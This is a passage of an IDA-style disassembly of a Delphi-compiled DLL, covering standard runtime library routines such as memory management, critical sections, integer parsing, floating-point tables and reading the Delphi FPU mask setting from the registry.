eax cmp ds:dword_1000A614, 0Ch jge short loc_1000236B mov eax, ds:dword_1000A614 add ds:dword_1000A618, eax add esi, ds:dword_1000A614 xor eax, eax mov ds:dword_1000A614, eax loc_1000236B: ; CODE XREF: sub_10002258+F9j mov eax, esi sub eax, edi add ds:dword_1000A5B0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 jmp loc_1000242B ; --------------------------------------------------------------------------- loc_10002389: ; CODE XREF: sub_10002258+DCj call sub_10001CCC mov ebx, ebp add ebx, edi loc_10002392: ; CODE XREF: sub_10002258+D1j test byte ptr [ebx], 2 jnz short loc_100023E4 mov edx, ebx mov eax, edx mov ecx, [eax+8] mov [esp+18h+var_18], ecx mov ecx, [esp+18h+var_18] cmp ecx, [esp+18h+var_14] jge short loc_100023B8 add edx, [esp+18h+var_18] mov ebx, edx mov eax, [esp+18h+var_18] sub [esp+18h+var_14], eax jmp short loc_100023E4 ; --------------------------------------------------------------------------- loc_100023B8: ; CODE XREF: sub_10002258+150j call sub_100019DC mov eax, [esp+18h+var_14] sub [esp+18h+var_18], eax cmp [esp+18h+var_18], 0Ch jl short loc_100023D8 mov eax, ebp add eax, esi mov edx, [esp+18h+var_18] call sub_10001C44 jmp short loc_10002412 ; --------------------------------------------------------------------------- loc_100023D8: ; CODE XREF: sub_10002258+170j add esi, [esp+18h+var_18] mov ebx, ebp add ebx, esi and dword ptr [ebx], 0FFFFFFFEh jmp short loc_10002412 ; --------------------------------------------------------------------------- loc_100023E4: ; CODE XREF: sub_10002258+13Dj ; sub_10002258+15Ej mov eax, [ebx] test eax, 80000000h jz short loc_1000240E and eax, 7FFFFFFCh add eax, ebx mov ebx, eax mov edx, [esp+18h+var_14] mov eax, ebx call sub_10001DD0 test al, al jz short loc_1000240E mov ebx, ebp add ebx, edi jmp loc_1000231B ; --------------------------------------------------------------------------- loc_1000240E: ; CODE XREF: sub_10002258+193j ; sub_10002258+1ABj xor eax, eax jmp short loc_1000242B ; --------------------------------------------------------------------------- loc_10002412: ; CODE XREF: sub_10002258+68j ; sub_10002258+82j ... mov eax, esi sub eax, edi add ds:dword_1000A5B0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 loc_1000242B: ; CODE XREF: sub_10002258+33j ; sub_10002258+12Cj ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_10002258 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10002434 proc near ; CODE XREF: sub_10002538+Dp ; DATA XREF: DATA:off_10009034o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx, eax cmp ds:byte_1000A5BC, 0 jnz short loc_1000245B call sub_10001838 test al, al jnz short loc_1000245B xor eax, eax mov [ebp+var_4], eax jmp loc_100024EC ; --------------------------------------------------------------------------- loc_1000245B: ; CODE XREF: sub_10002434+12j ; sub_10002434+1Bj xor edx, edx push ebp push offset loc_100024E5 push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_1000A045, 0 jz short loc_1000247C push offset dword_1000A5C4 call sub_10001194 ; RtlEnterCriticalSection loc_1000247C: ; CODE XREF: sub_10002434+3Cj mov edx, esi mov eax, ebx call sub_10002258 test al, al jz short loc_1000248E mov [ebp+var_4], ebx jmp short loc_100024C4 ; --------------------------------------------------------------------------- loc_1000248E: ; CODE XREF: sub_10002434+53j mov eax, esi call sub_10001F24 mov edi, eax mov eax, ebx sub eax, 4 mov eax, [eax] and eax, 7FFFFFFCh sub eax, 4 cmp esi, eax jge short loc_100024AC mov eax, esi loc_100024AC: ; CODE XREF: sub_10002434+74j test edi, edi jz short loc_100024C1 mov edx, edi mov ecx, ebx xchg eax, ecx call sub_1000263C mov eax, ebx call sub_100020B4 loc_100024C1: ; CODE XREF: sub_10002434+7Aj mov [ebp+var_4], edi loc_100024C4: ; CODE XREF: sub_10002434+58j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100024EC loc_100024D1: ; CODE XREF: sub_10002434+B6j cmp ds:byte_1000A045, 0 jz short locret_100024E4 push offset dword_1000A5C4 call sub_1000119C ; RtlLeaveCriticalSection locret_100024E4: ; CODE XREF: sub_10002434+A4j retn ; --------------------------------------------------------------------------- loc_100024E5: ; DATA XREF: sub_10002434+2Ao jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100024D1 ; --------------------------------------------------------------------------- loc_100024EC: ; CODE XREF: sub_10002434+22j ; DATA XREF: sub_10002434+98o mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn sub_10002434 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100024F8 proc near ; CODE XREF: sub_10002C44+Ap ; sub_100036E4+Cp ... push ebx test eax, eax jle short loc_10002512 call ds:off_1000902C mov ebx, eax test ebx, ebx jnz short loc_10002514 mov al, 1 call sub_100025E0 ; --------------------------------------------------------------------------- jmp short loc_10002514 ; --------------------------------------------------------------------------- loc_10002512: ; CODE XREF: sub_100024F8+3j xor ebx, ebx loc_10002514: ; CODE XREF: sub_100024F8+Fj ; sub_100024F8+18j mov eax, ebx pop ebx retn sub_100024F8 endp ; =============== S U B R O U T I N E ======================================= sub_10002518 proc near ; CODE XREF: sub_10002C60+Cp ; sub_10003620+1Cp ... push ebx test eax, eax jz short loc_10002532 call ds:off_10009030 mov ebx, eax test ebx, ebx jz short loc_10002534 mov al, 2 call sub_100025E0 ; --------------------------------------------------------------------------- jmp short loc_10002534 ; --------------------------------------------------------------------------- loc_10002532: ; CODE XREF: sub_10002518+3j xor ebx, ebx loc_10002534: ; CODE XREF: sub_10002518+Fj ; sub_10002518+18j mov eax, ebx pop ebx retn sub_10002518 endp ; =============== S U B R O U T I N E ======================================= sub_10002538 proc near ; CODE XREF: sub_100039C8+22p mov ecx, [eax] test ecx, ecx jz short loc_10002570 test edx, edx jz short loc_1000255A push eax mov eax, ecx call ds:off_10009034 pop ecx or eax, eax jz short loc_10002569 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_10002553: ; CODE XREF: sub_10002538+2Ej mov al, 2 jmp sub_100025E0 ; --------------------------------------------------------------------------- loc_1000255A: ; CODE XREF: sub_10002538+8j mov [eax], edx mov eax, ecx call ds:off_10009030 or eax, eax jnz short loc_10002553 retn ; --------------------------------------------------------------------------- loc_10002569: ; CODE XREF: sub_10002538+16j ; sub_10002538+48j mov al, 1 jmp sub_100025E0 ; --------------------------------------------------------------------------- loc_10002570: ; CODE XREF: sub_10002538+4j test edx, edx jz short locret_10002584 push eax mov eax, edx call ds:off_1000902C pop ecx or eax, eax jz short loc_10002569 mov [ecx], eax locret_10002584: ; CODE XREF: sub_10002538+3Aj retn sub_10002538 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_10002588 proc near ; CODE XREF: sub_10002594+42p ; CODE:100031DBp mov ds:dword_10009004, edx call sub_10003608 sub_10002588 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_10002594 proc near ; CODE XREF: sub_100025E0+6j push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:dword_1000A008, 0 jz short loc_100025B0 mov edx, esi mov eax, ebx call ds:dword_1000A008 loc_100025B0: ; CODE XREF: sub_10002594+10j test bl, bl jnz short loc_100025C1 call sub_10004460 mov ebx, [eax+4] jmp short loc_100025D0 ; --------------------------------------------------------------------------- loc_100025C1: ; CODE XREF: sub_10002594+1Ej cmp bl, 18h ja short loc_100025D0 xor eax, eax mov al, bl mov bl, ds:byte_10009038[eax] loc_100025D0: ; CODE XREF: sub_10002594+2Bj ; sub_10002594+30j xor eax, eax mov al, bl mov edx, esi call sub_10002588 sub_10002594 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_100025E0 proc near ; CODE XREF: sub_100024F8+13p ; sub_10002518+13p ... and eax, 7Fh mov edx, [esp+0] jmp sub_10002594 sub_100025E0 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_100025EC proc near ; CODE XREF: CODE:100068D4p push eax push edx push ecx call sub_10004460 cmp dword ptr [eax+4], 0 pop ecx pop edx pop eax jnz short loc_10002601 retn ; --------------------------------------------------------------------------- loc_10002601: ; CODE XREF: sub_100025EC+12j xor eax, eax jmp sub_100025E0 sub_100025EC endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000260C proc near ; CODE XREF: sub_10002688+3Cp ; sub_100026DC+38p ... push ebx mov ebx, eax call sub_10004460 mov [eax+4], ebx pop ebx retn sub_1000260C endp ; =============== S U B R O U T I N E ======================================= sub_1000261C proc near ; CODE XREF: sub_10006B2C+7p push ebx call sub_10004460 mov ebx, [eax+4] call sub_10004460 xor edx, edx mov [eax+4], edx mov eax, ebx pop ebx retn sub_1000261C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000263C proc near ; CODE XREF: sub_10002434+81p ; sub_10003674+1Bp ... push esi push edi mov esi, eax mov edi, edx mov eax, ecx cmp edi, esi ja short loc_1000265B jz short loc_10002679 sar ecx, 2 js short loc_10002679 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn ; --------------------------------------------------------------------------- loc_1000265B: ; CODE XREF: sub_1000263C+Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] sar ecx, 2 js short loc_10002679 std rep movsd mov ecx, eax and ecx, 3 add esi, 3 add edi, 3 rep movsb cld loc_10002679: ; CODE XREF: sub_1000263C+Cj ; sub_1000263C+11j ... pop edi pop esi retn sub_1000263C endp ; =============== S U B R O U T I N E ======================================= sub_1000267C proc near ; CODE XREF: sub_100046E0+28p var_8 = qword ptr -8 sub esp, 8 fistp [esp+8+var_8] wait pop eax pop edx retn sub_1000267C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002688 proc near ; CODE XREF: sub_100026D0+3p push ebx mov cx, [eax+4] sub cx, 0D7B1h jz short loc_100026A3 dec ecx sub cx, 2 jnb short loc_100026A7 mov ebx, edx call ebx mov ebx, eax jmp short loc_100026BE ; --------------------------------------------------------------------------- loc_100026A3: ; CODE XREF: sub_10002688+Aj xor ebx, ebx jmp short loc_100026BE ; --------------------------------------------------------------------------- loc_100026A7: ; CODE XREF: sub_10002688+11j cmp eax, offset dword_1000A214 jz short loc_100026B5 cmp eax, offset dword_1000A3E0 jnz short loc_100026B9 loc_100026B5: ; CODE XREF: sub_10002688+24j xor ebx, ebx jmp short loc_100026BE ; --------------------------------------------------------------------------- loc_100026B9: ; CODE XREF: sub_10002688+2Bj mov ebx, 67h loc_100026BE: ; CODE XREF: sub_10002688+19j ; sub_10002688+1Dj ... test ebx, ebx jz short loc_100026C9 mov eax, ebx call sub_1000260C loc_100026C9: ; CODE XREF: sub_10002688+38j mov eax, ebx pop ebx retn sub_10002688 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100026D0 proc near ; CODE XREF: CODE:100068CFp mov edx, [eax+1Ch] call sub_10002688 retn sub_100026D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100026DC proc near ; CODE XREF: sub_1000428C+1Ep ; sub_1000428C+28p ... push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_1000271B cmp ax, 0D7B3h ja short loc_1000271B and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_10002703 mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_10002703: ; CODE XREF: sub_100026DC+1Ej test esi, esi jnz short loc_1000270E mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_1000270E: ; CODE XREF: sub_100026DC+29j test esi, esi jz short loc_1000272D mov eax, esi call sub_1000260C jmp short loc_1000272D ; --------------------------------------------------------------------------- loc_1000271B: ; CODE XREF: sub_100026DC+Ej ; sub_100026DC+14j cmp ebx, offset dword_1000A048 jz short loc_1000272D mov eax, 67h call sub_1000260C loc_1000272D: ; CODE XREF: sub_100026DC+34j ; sub_100026DC+3Dj ... mov eax, esi pop esi pop ebx retn sub_100026DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002734 proc near ; CODE XREF: sub_10004698+2p push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_10002751 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_10002751: ; CODE XREF: sub_10002734+12j pop edi retn sub_10002734 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002754 proc near ; CODE XREF: sub_10004218+41p ; sub_10005580+6p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_100027CA xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_10002767: ; CODE XREF: sub_10002754+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_10002767 mov ch, 0 cmp bl, 2Dh jz short loc_100027D8 cmp bl, 2Bh jz short loc_100027DA loc_1000277B: ; CODE XREF: sub_10002754+89j cmp bl, 24h jz short loc_100027DF cmp bl, 78h jz short loc_100027DF cmp bl, 58h jz short loc_100027DF cmp bl, 30h jnz short loc_100027A2 mov bl, [esi] inc esi cmp bl, 78h jz short loc_100027DF cmp bl, 58h jz short loc_100027DF test bl, bl jz short loc_100027C0 jmp short loc_100027A6 ; --------------------------------------------------------------------------- loc_100027A2: ; CODE XREF: sub_10002754+39j test bl, bl jz short loc_100027D3 loc_100027A6: ; CODE XREF: sub_10002754+4Cj ; sub_10002754+6Aj sub bl, 30h cmp bl, 9 ja short loc_100027D3 cmp eax, edi ja short loc_100027D3 lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_100027A6 loc_100027C0: ; CODE XREF: sub_10002754+4Aj dec ch jz short loc_100027CD test eax, eax jge short loc_1000281C jmp short loc_100027D3 ; --------------------------------------------------------------------------- loc_100027CA: ; CODE XREF: sub_10002754+8j ; sub_10002754+95j inc esi jmp short loc_100027D3 ; --------------------------------------------------------------------------- loc_100027CD: ; CODE XREF: sub_10002754+6Ej neg eax jle short loc_1000281C js short loc_1000281C loc_100027D3: ; CODE XREF: sub_10002754+50j ; sub_10002754+58j ... pop ebx sub esi, ebx jmp short loc_1000281F ; --------------------------------------------------------------------------- loc_100027D8: ; CODE XREF: sub_10002754+20j inc ch loc_100027DA: ; CODE XREF: sub_10002754+25j mov bl, [esi] inc esi jmp short loc_1000277B ; --------------------------------------------------------------------------- loc_100027DF: ; CODE XREF: sub_10002754+2Aj ; sub_10002754+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_100027CA loc_100027EB: ; CODE XREF: sub_10002754+C0j cmp bl, 61h jb short loc_100027F3 sub bl, 20h loc_100027F3: ; CODE XREF: sub_10002754+9Aj sub bl, 30h cmp bl, 9 jbe short loc_10002806 sub bl, 11h cmp bl, 5 ja short loc_100027D3 add bl, 0Ah loc_10002806: ; CODE XREF: sub_10002754+A5j cmp eax, edi ja short loc_100027D3 shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_100027EB dec ch jnz short loc_1000281C neg eax loc_1000281C: ; CODE XREF: sub_10002754+72j ; sub_10002754+7Bj ... pop ecx xor esi, esi loc_1000281F: ; CODE XREF: sub_10002754+82j mov [edx], esi pop edi pop esi pop ebx retn sub_10002754 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002828 proc near ; CODE XREF: sub_10007408+A5p push esi push edi mov esi, eax mov edi, edx and ecx, 0FFh repe cmpsb pop edi pop esi retn sub_10002828 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1000283C proc near ; CODE XREF: sub_10005FB9+58p jmp sub_10002844 sub_1000283C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002844 proc near ; CODE XREF: sub_1000283Cj push ebx xor ebx, ebx test eax, eax jl short loc_10002898 jz loc_100028EB cmp eax, 1400h jge loc_100028DD mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_100028F7[ebx+edx*2] fmulp st(1), st shr eax, 5 jz short loc_100028EB mov edx, eax and edx, 0Fh jz short loc_10002885 lea edx, [edx+edx*4] fld tbyte ptr byte_10002A2D[ebx+edx*2] fmulp st(1), st loc_10002885: ; CODE XREF: sub_10002844+33j shr eax, 4 jz short loc_100028EB lea eax, [eax+eax*4] fld tbyte_10002AC3[ebx+eax*2] fmulp st(1), st jmp short loc_100028EB ; --------------------------------------------------------------------------- loc_10002898: ; CODE XREF: sub_10002844+5j neg eax cmp eax, 1400h jge short loc_100028E7 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_100028F7[ebx+edx*2] fdivp st(1), st shr eax, 5 jz short loc_100028EB mov edx, eax and edx, 0Fh jz short loc_100028CA lea edx, [edx+edx*4] fld tbyte ptr byte_10002A2D[ebx+edx*2] fdivp st(1), st loc_100028CA: ; CODE XREF: sub_10002844+78j shr eax, 4 jz short loc_100028EB lea eax, [eax+eax*4] fld tbyte_10002AC3[ebx+eax*2] fdivp st(1), st jmp short loc_100028EB ; --------------------------------------------------------------------------- loc_100028DD: ; CODE XREF: sub_10002844+12j fstp st fld tbyte_100028ED[ebx] jmp short loc_100028EB ; --------------------------------------------------------------------------- loc_100028E7: ; CODE XREF: sub_10002844+5Bj fstp st fldz loc_100028EB: ; CODE XREF: sub_10002844+7j ; sub_10002844+2Cj ... pop ebx retn sub_10002844 endp ; --------------------------------------------------------------------------- tbyte_100028ED dt 1.1897314953572317651e4932 ; DATA XREF: sub_10002844+9Br tbyte_100028F7 dt 1.0 ; DATA XREF: sub_10002844+20r ; sub_10002844+65r align 8 dd 4002A0h, 0 dd 5C80000h, 40h, 0 dd 4008FAh, 0 dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0 dd 12F42400h, 40h, 96800000h, 401698h, 0 dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0 dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h dd 40h, 84E72A00h, 402A91h, 0F4800000h, 2DB5E620h, 40h dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h dd 403E8Ah, 0C5AC6200h, 41AD78EBh, 7A800040h, 0D726B717h dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah dd 404BA9h, 0CECCEDA1h, 4ED3C21Bh, 1484A040h, 59516140h dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h, 8F07D736h dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h db 40h byte_10002A2D db 96h ; DATA XREF: sub_10002844+38r ; sub_10002844+7Dr dw 8122h dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h dd 7A4AE1EBh db 95h, 0CFh, 45h tbyte_10002AC3 dt 9.9999999999999999996e479 ; DATA XREF: sub_10002844+49r ; sub_10002844+8Er db 0C7h, 91h, 0Eh dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h dd 3511626Eh, 0C37BCAAEh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10002B28 proc near ; CODE XREF: sub_10002B30+5p ; sub_10002B30+11p jmp ds:dword_1000B130 sub_10002B28 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10002B30 proc near ; CODE XREF: sub_100042EC+4Ap push ebx xor ebx, ebx push 0 call sub_10002B28 ; GetKeyboardType cmp eax, 7 jnz short loc_10002B5B push 1 call sub_10002B28 ; GetKeyboardType and eax, 0FF00h cmp eax, 0D00h jz short loc_10002B59 cmp eax, 400h jnz short loc_10002B5B loc_10002B59: ; CODE XREF: sub_10002B30+20j mov bl, 1 loc_10002B5B: ; CODE XREF: sub_10002B30+Dj ; sub_10002B30+27j mov eax, ebx pop ebx retn sub_10002B30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10002B60 proc near ; CODE XREF: sub_100042EC+53p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h movzx eax, ds:word_10009014 mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push 1 push 0 push offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL" push 80000002h call sub_10001118 ; RegOpenKeyExA test eax, eax jnz short loc_10002BD8 xor eax, eax push ebp push offset loc_10002BD1 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_C], 4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push 0 push 0 push offset aFpumaskvalue ; "FPUMaskValue" mov eax, [ebp+var_4] push eax call sub_10001120 ; RegQueryValueExA xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10002BD8 loc_10002BC7: ; CODE XREF: sub_10002B60+76j mov eax, [ebp+var_4] push eax call sub_10001110 ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_10002BD1: ; DATA XREF: sub_10002B60+2Eo jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10002BC7 ; --------------------------------------------------------------------------- loc_10002BD8: ; CODE XREF: sub_10002B60+29j ; DATA XREF: sub_10002B60+62o mov ax, ds:word_10009014 and ax, 0FFC0h mov dx, word ptr [ebp+var_8] and dx, 3Fh or ax, dx mov ds:word_10009014, ax mov esp, ebp pop ebp retn sub_10002B60 endp ; --------------------------------------------------------------------------- align 4 aSoftwareBorlan db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_10002B60+18o aFpumaskvalue db 'FPUMaskValue',0 ; DATA XREF: sub_10002B60+4Co align 4 ; =============== S U B R O U T I N E ======================================= sub_10002C24 proc near ; CODE XREF: sub_10002F1C+20p ; CODE:10003212p ... fninit wait fldcw ds:word_10009014 retn sub_10002C24 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10002C30 proc near ; CODE XREF: CODE:10006823p push esi push edi mov edi, edx mov esi, [eax-2Ch] xor ecx, ecx mov cl, [esi] inc ecx rep movsb pop edi pop esi retn sub_10002C30 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002C44 proc near ; DATA XREF: CODE:1000104Co ; CODE:10004A90o ... push ebx mov ebx, eax mov eax, ebx call sub_10002C74 call sub_100024F8 mov edx, eax mov eax, ebx call sub_10002C98 pop ebx retn sub_10002C44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10002C60 proc near ; CODE XREF: sub_10006B00+6p ; DATA XREF: CODE:10001050o ... push ebx mov ebx, eax mov eax, ebx call sub_10002CF0 mov eax, ebx call sub_10002518 pop ebx retn sub_10002C60 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002C74 proc near ; CODE XREF: sub_10002C44+5p add eax, 0FFFFFFD8h mov eax, [eax] retn sub_10002C74 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002C7C proc near ; DATA XREF: CODE:10001054o ; CODE:10004A98o ... call sub_10002E1C test dl, dl jle short locret_10002C8A call sub_10002E04 locret_10002C8A: ; CODE XREF: sub_10002C7C+7j retn sub_10002C7C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002C8C proc near ; CODE XREF: sub_10002F1C+11Fj ; sub_100030A8+30p ... test eax, eax jz short locret_10002C97 mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_10002C97: ; CODE XREF: sub_10002C8C+2j retn sub_10002C8C endp ; =============== S U B R O U T I N E ======================================= sub_10002C98 proc near ; CODE XREF: sub_10002C44+13p push ebx push esi push edi mov ebx, eax mov edi, edx stosd mov ecx, [ebx-28h] xor eax, eax push ecx shr ecx, 2 dec ecx rep stosd pop ecx and ecx, 3 rep stosb mov eax, edx mov edx, esp loc_10002CB6: ; CODE XREF: sub_10002C98+2Fj mov ecx, [ebx-48h] test ecx, ecx jz short loc_10002CBE push ecx loc_10002CBE: ; CODE XREF: sub_10002C98+23j mov ebx, [ebx-24h] test ebx, ebx jz short loc_10002CC9 mov ebx, [ebx] jmp short loc_10002CB6 ; --------------------------------------------------------------------------- loc_10002CC9: ; CODE XREF: sub_10002C98+2Bj cmp esp, edx jz short loc_10002CEA loc_10002CCD: ; CODE XREF: sub_10002C98+50j pop ebx mov ecx, [ebx] add ebx, 4 loc_10002CD3: ; CODE XREF: sub_10002C98+4Cj mov esi, [ebx+10h] test esi, esi jz short loc_10002CE0 mov edi, [ebx+14h] mov [edi+eax], esi loc_10002CE0: ; CODE XREF: sub_10002C98+40j add ebx, 1Ch dec ecx jnz short loc_10002CD3 cmp esp, edx jnz short loc_10002CCD loc_10002CEA: ; CODE XREF: sub_10002C98+33j pop edi pop esi pop ebx retn sub_10002C98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10002CF0 proc near ; CODE XREF: sub_10002C60+5p push ebx push esi mov ebx, eax mov esi, eax loc_10002CF6: ; CODE XREF: sub_10002CF0+1Bj mov esi, [esi] mov edx, [esi-40h] mov esi, [esi-24h] test edx, edx jz short loc_10002D09 call sub_10003A68 mov eax, ebx loc_10002D09: ; CODE XREF: sub_10002CF0+10j test esi, esi jnz short loc_10002CF6 pop esi pop ebx retn sub_10002CF0 endp ; =============== S U B R O U T I N E ======================================= sub_10002D10 proc near ; CODE XREF: CODE:100067CCp ; sub_10006F54+96p push ebx push esi mov esi, edx mov ebx, eax test ebx, ebx jz short loc_10002D27 mov edx, esi mov eax, [ebx] call sub_10002D64 test al, al jnz short loc_10002D2C loc_10002D27: ; CODE XREF: sub_10002D10+8j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_10002D2C: ; CODE XREF: sub_10002D10+15j mov al, 1 pop esi pop ebx retn sub_10002D10 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002D34 proc near ; CODE XREF: sub_10002D8C+13p push edi xchg eax, esi jmp short loc_10002D3A ; --------------------------------------------------------------------------- loc_10002D38: ; CODE XREF: sub_10002D34+1Fj mov esi, [esi] loc_10002D3A: ; CODE XREF: sub_10002D34+2j mov edi, [esi-30h] test edi, edi jz short loc_10002D4E movzx ecx, word ptr [edi] push ecx add edi, 2 repne scasw jz short loc_10002D57 pop ecx loc_10002D4E: ; CODE XREF: sub_10002D34+Bj mov esi, [esi-24h] test esi, esi jnz short loc_10002D38 pop edi retn ; --------------------------------------------------------------------------- loc_10002D57: ; CODE XREF: sub_10002D34+17j pop eax add eax, eax sub eax, ecx mov esi, [edi+eax*2-4] pop edi retn sub_10002D34 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002D64 proc near ; CODE XREF: sub_10002D10+Ep jmp short loc_10002D68 ; --------------------------------------------------------------------------- loc_10002D66: ; CODE XREF: sub_10002D64+Dj mov eax, [eax] loc_10002D68: ; CODE XREF: sub_10002D64j cmp eax, edx jz short loc_10002D74 mov eax, [eax-24h] test eax, eax jnz short loc_10002D66 retn ; --------------------------------------------------------------------------- loc_10002D74: ; CODE XREF: sub_10002D64+6j mov al, 1 retn sub_10002D64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002D78 proc near ; DATA XREF: CODE:10001038o ; CODE:10004A7Co ... mov eax, 8000FFFFh retn sub_10002D78 endp ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_10002D8C proc near ; DATA XREF: CODE:10001044o ; CODE:10004A88o ... push esi mov si, [edx] or si, si jz short 